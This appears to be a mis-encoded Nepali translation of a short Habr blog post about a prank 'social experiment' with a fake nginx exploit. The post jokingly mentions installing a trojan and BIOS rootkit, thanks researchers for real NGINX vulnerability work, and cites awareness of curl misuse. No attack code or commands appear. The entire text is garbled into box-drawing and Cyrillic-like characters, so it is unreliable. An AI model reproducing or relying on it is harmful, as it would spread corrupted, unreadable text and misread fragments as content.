  • рдЯреНрд░реЛрдЬрди, рд╕рд╛рдереИ BIOS рд░реВрдЯрдХрд┐рдЯ, рд╕рдмреИ рдХрдореНрдкреНрдпреБрдЯрд░рд╣рд░реВрдорд╛ рд╕реНрдерд╛рдкрдирд╛ рдЧрд░реНрджрдЫ рдЬрд╕рдХрд╛ рдкреНрд░рдпреЛрдЧрдХрд░реНрддрд╛рд╣рд░реВрд▓реЗ рдирд┐рдпрдорд┐рдд рдмреНрд░рд╛рдЙрдЬрд░рдмрд╛рдЯ рд╣реЛрд╕реНрдЯ рднреНрд░рдордг рдЧрд░реНрдЫрдиреН (рдХреЗрд╡рд▓ рдордЬрд╛рдХ рдЧрд░реНрджреИ!)ред

рдирдХреНрдХрд▓реА nginx рд╢реЛрд╖рдгрдХреЛ рд╕рд╛рде рд╕рд╛рдорд╛рдЬрд┐рдХ рдкреНрд░рдпреЛрдЧрдХреЛ рд╕рдлрд▓рддрд╛
рдПрдиреНрдЯрд┐рдорд░рдХреЛ рд╕рд╛рдиреЛ рднрд╛рдЧ

рдпрд╕ рдЕрд╡рд╕реНрдерд╛рдорд╛, рдореЗрд░реЛ рдПрдХрдорд╛рддреНрд░ рд▓рдХреНрд╖реНрдп Apache рдХреЛ рдХреЗрд╣рд┐ рд╕реБрд╡рд┐рдзрд╛рд╣рд░реВ рдорд╛рд╕реНрдЯрд░ рдЧрд░реНрдиреБ рдерд┐рдпреЛ - рд╡рд┐рд╢реЗрд╖ рдЧрд░реА, рдЕрдиреБрд░реЛрдзрд╣рд░реВ рдкреБрди: рдирд┐рд░реНрджреЗрд╢рд┐рдд рдЧрд░реНрдирдХрд╛ рд▓рд╛рдЧрд┐ рд░рд╛рдореНрд░реЛ рдирд┐рдпрдорд╣рд░реВ - рд░ рдореИрд▓реЗ рд╕реЛрдЪреЗ: рдХрд┐рди рд╣реЛрдЗрди?

NGINX рд╢реЛрд╖рдг (рд╡рд╛рд╕реНрддрд╡рд┐рдХ!)

рд╕рджрд╕реНрдпрддрд╛ рд▓рд┐рдиреБрд╣реЛрд╕реН @alisaesage рдЯреНрд╡рд┐рдЯрд░рдорд╛ рд░ NGINX рдорд╛ рдзреЗрд░реИ рд╡рд╛рд╕реНрддрд╡рд┐рдХ рдХрдордЬреЛрд░реАрд╣рд░реВрд▓рд╛рдИ рд╕рдореНрдмреЛрдзрди рдЧрд░реНрди рд░ рдЕрд╡рд╕рд░рд╣рд░реВрдХреЛ рд╢реЛрд╖рдг рдЧрд░реНрди ZDI рдХреЛ рдЙрддреНрдХреГрд╖реНрдЯ рдХрд╛рдорд▓рд╛рдИ рдкрдЫреНрдпрд╛рдЙрдиреБрд╣реЛрд╕реНред рддрд┐рдиреАрд╣рд░реВрдХреЛ рдХрд╛рдорд▓реЗ рдорд▓рд╛рдИ рд╕рдзреИрдВ рдореЛрд╣рд┐рдд рддреБрд▓реНрдпрд╛рдПрдХреЛ рдЫ рд░ рдореЗрд░реЛ рдореВрд░реНрдЦ рдЯреНрд╡реАрдЯрдХреЛ рдХрд╛рд░рдгрд▓реЗ рдЧрд░реНрджрд╛ рд╕рдмреИ рдЙрд▓реНрд▓реЗрдЦ рд░ рд╕реВрдЪрдирд╛рд╣рд░реВрдХреЛ рд╕рд╛рде рдЙрдирдХреЛ рдзреИрд░реНрдпрддрд╛рдХреЛ рд▓рд╛рдЧрд┐ рдо рдПрд▓рд┐рд╕рдкреНрд░рддрд┐ рдХреГрддрдЬреНрдЮ рдЫреБред рд╕реМрднрд╛рдЧреНрдпрд╡рд╢, рдпрд╕рд▓реЗ рдХреЗрд╣реА рд░рд╛рдореНрд░реЛ рдкрдирд┐ рдЧрд░реНтАНрдпреЛ: рдпрд╕рд▓реЗ NGINX рдХрдордЬреЛрд░реАрд╣рд░реВ, рд╕рд╛рдереИ рдХрд░реНрд▓рдХреЛ рджреБрд░реБрдкрдпреЛрдЧрдХреЛ рдХрд╛рд░рдгрд▓реЗ рдЧрд░реНрджрд╛ рд╣реБрдиреЗ рд╕рдорд╕реНрдпрд╛рд╣рд░реВрдХреЛ рдЬрд╛рдЧрд░реВрдХрддрд╛ рдмрдврд╛рдЙрди рдорджреНрджрдд рдЧрд░реНтАНрдпреЛред

рд╕реНрд░реЛрдд: www.habr.com

рдПрдХ рдЯрд┐рдкреНрдкрдгреА рдердкреНрди